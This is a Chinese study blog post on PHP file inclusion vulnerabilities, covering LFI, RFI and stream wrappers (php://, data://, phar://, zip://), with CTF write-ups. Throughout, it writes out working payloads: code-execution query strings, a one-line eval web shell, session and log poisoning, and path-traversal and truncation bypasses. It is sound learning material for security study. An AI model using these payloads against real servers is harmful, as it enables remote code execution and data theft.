seora's Studio.

文件包含漏洞学习

字数统计: 4.2k阅读时长: 16 min
2025/10/16
loading

文件包含漏洞学习

1.文件包含漏洞概述

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

漏洞成因为:当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

利用这个特性,我们可以读取包含敏感信息的文件。

2.本地文件包含LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

3.远程文件包含RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

4.包含姿势

file://协议

**file://**用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

姿势:

1
file:// [文件的绝对路径和文件名]

php://协议

php://input

php://input可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

姿势:

1
2
3
4
5
index.php
?file=php://input

POST:
<? phpinfo();?>

php://filter

php://filter读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

利用条件:无甚

姿势:

1
index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。

1
2
3
>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"

其他姿势:

1
index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

phar://

phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已

写一段小代码测试一下:
test.php

1
<?php @eval($_POST["cmd"]);?>

然后将test.php压缩为test.zip,将压缩文件改后缀为.jpg
index.php

1
2
3
<?php 
include('phar://./test.jpg/test.php');
?>

成功包含

PixPin_2025-09-09_17-55-36

利用条件:

  1. php版本大于等于php5.3.0

姿势:

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

指定绝对路径

1
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相对路径(这里test.zip就在当前目录下)

1
index.php?file=phar://test.zip/phpinfo.txt

zip://协议

利用条件:

  1. php版本大于等于php5.3.0

姿势:
构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

1
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

date://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

利用条件:

  1. php版本大于等于php5.2

  2. allow_url_fopen :on

  3. allow_url_include:on

姿势一:

1
index.php?file=data:text/plain,<?php phpinfo();?>

执行命令:

1
index.php?file=data:text/plain,<?php system('whoami');?>

姿势二:

1
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

执行命令:

1
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

session文件包含

利用条件:session文件路径已知,且其中内容部分可读写。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码.

例题

题目:一道CTF题:PHP文件包含 | Chybeta

首先用php://filter伪协议读取到代码,

题目涉及到登陆注册界面,先考虑sql注入,往往注册与登陆操作中会有与数据库交互的地方也是sql注入的常见引发点。

register.php源代码

1
2
3
4
5
6
7
8
9
# register.php

$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();

再看一下login.php源代码

1
2
3
4
5
6
7
8
# login.php

$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();

数据库连接部分使用了mysqli预处理。

只要用了 预处理语句(prepare + bind_param/execute),就能大幅降低 SQL 注入风险。

接着再看看,有哪些参数是可控的。

在login.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];

# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");

这里使用了session来保存用户会话

变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件

要包含session文件,需要知道文件的路径。常见的php-session存放位置在前文已经列举过了。

能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

1
$_SESSION['username'] = base64_encode($username);

输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

1
2
3
4
5
6
7
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j

PHP 在保存到 session 文件时会序列化成:

1
username|s:12:"QUJDREVGR0g=";
  • username|s:12:" → 这是 前缀,描述键名和字符串长度。
  • QUJDREVGR0g= → 这是 base64 编码后的内容。
  • "; → 结束符。

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足一下条件:

1
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

再解释一下上面的式子:

  • 原始数据是按 8 位(1字节)存储的。
  • Base64 编码时,把原始比特流切成 6 位一组
  • 每一组 6 位再映射成一个 Base64 字符。

所以,1 个 Base64 字符代表 6 位信息

原始数据是按字节(8 位)存储的,但编码结果是按 6 位分组的。
为了不丢信息,Base64 要保证:

用 N 个 6 位分组拼起来时,能正好覆盖某个整数个字节(8 位一组)。

这就等价于:
$$
N×6≡0(mod8)N
$$

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

Get Flag

注册一个账号,比如:

1
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

其base64加密后的长度为128,大于100。

1
2
3
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();

包含日志

访问日志

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

姿势:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。

PixPin_2025-09-09_19-28-40

在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

姿势:

用ssh连接:

1
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在remotehost的ssh-log中即可写入php代码:

之后进行文件包含即可。

包含fd

因为 Apache 的日志(比如错误日志)里会记录一些信息,比如请求头。
所以攻击者可以把一段 PHP 代码(比如 <?php ... ?>)塞进 Referer 请求头,这样日志文件里就会出现这段代码。

如果网站有 LFI 漏洞,可以让它“包含”日志文件,那么日志里的 PHP 代码就会被执行。

包含 Apache 错误日志信息 的 proc 文件会在 /proc/self/fd/ 下变化,例如 /proc/self/fd/2、**/proc/self/fd/10** 等。

包含environ

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

例题

XMAN夏令营-2017-babyweb-writeup | Chybeta

题目要求上传后缀为.gif或者.jpg的文件,它先将我们上传的文件保存到uploads文件夹下,然后sleep(2),接着调用imagecreatefromgif等一系列操作。如果我们上传一个包含php代码的图片木马,在经过imagecreatefromgif等一系列操作后,正常情况下其中的php代码会被去掉,也就是说操作过后的图片已经不是图片木马了。不过由于存在sleep(2),可以利用这个两秒的空隙,利用phar或者zip协议去包含我们上传的还未被删除的图片木马。

PixPin_2025-09-10_21-42-06

从上文中利用phar或者zip协议的方法,显然我们需要把一句话木马压缩为.zip。

上传时将其文件名改为k.jpg,类型改为image/jpeg。在上传后访问http://202.112.51.217:8199/uploads/,去获取最新的文件名,然后用协议去包含。如果手动的话时间肯定会超过2s,所以需要用脚本。

绕过姿势

平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

指定前缀

先考虑一下指定了前缀的情况吧。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

目录遍历

这个最简单了,简要的提一下。

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:

1
include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式

指定后缀

接着考虑指定后缀的情况。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

URL

url格式:

姿势一:query(?)

原理:浏览器或服务器会把 ?.php 当成“请求参数”,而不是文件名的一部分。

1
index.php?file=http://remoteaddr/remoteinfo.txt?

姿势二:fragment(#)

原理:URL 里的 # 表示 片段定位符(fragment),浏览器只在本地解析,不会传给远程服务器。

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

利用协议

前面有提到过利用zip协议和phar协议。

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

1
index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

0字节截断

利用条件: php版本 < php 5.3.4

1
index.php?file=phpinfo.txt%00

能利用00截断的场景现在应该很少了:)

Reffeerence

php文件包含漏洞 | Chybeta

文件包含漏洞全面详解-CSDN博客

CATALOG
  1. 1. 文件包含漏洞学习
    1. 1.1. 1.文件包含漏洞概述
    2. 1.2. 2.本地文件包含LFI(Local File Inclusion)
    3. 1.3. 3.远程文件包含RFI(Remote File Inclusion)
    4. 1.4. 4.包含姿势
      1. 1.4.1. file://协议
      2. 1.4.2. php://协议
        1. 1.4.2.1. php://input
        2. 1.4.2.2. php://filter
        3. 1.4.2.3. phar://
      3. 1.4.3. zip://协议
      4. 1.4.4. date://协议
      5. 1.4.5. session文件包含
        1. 1.4.5.1. 例题
      6. 1.4.6. 包含日志
        1. 1.4.6.1. 访问日志
        2. 1.4.6.2. SSH log
        3. 1.4.6.3. 包含fd
        4. 1.4.6.4. 包含environ
      7. 1.4.7. 包含临时文件
        1. 1.4.7.1. 例题
    5. 1.5. 绕过姿势
      1. 1.5.1. 指定前缀
      2. 1.5.2. 目录遍历
      3. 1.5.3. 编码绕过
      4. 1.5.4. 指定后缀
      5. 1.5.5. URL
        1. 1.5.5.1. 姿势一:query(?)
        2. 1.5.5.2. 姿势二:fragment(#)
      6. 1.5.6. 利用协议
      7. 1.5.7. 长度截断
      8. 1.5.8. 0字节截断
  2. 2. Reffeerence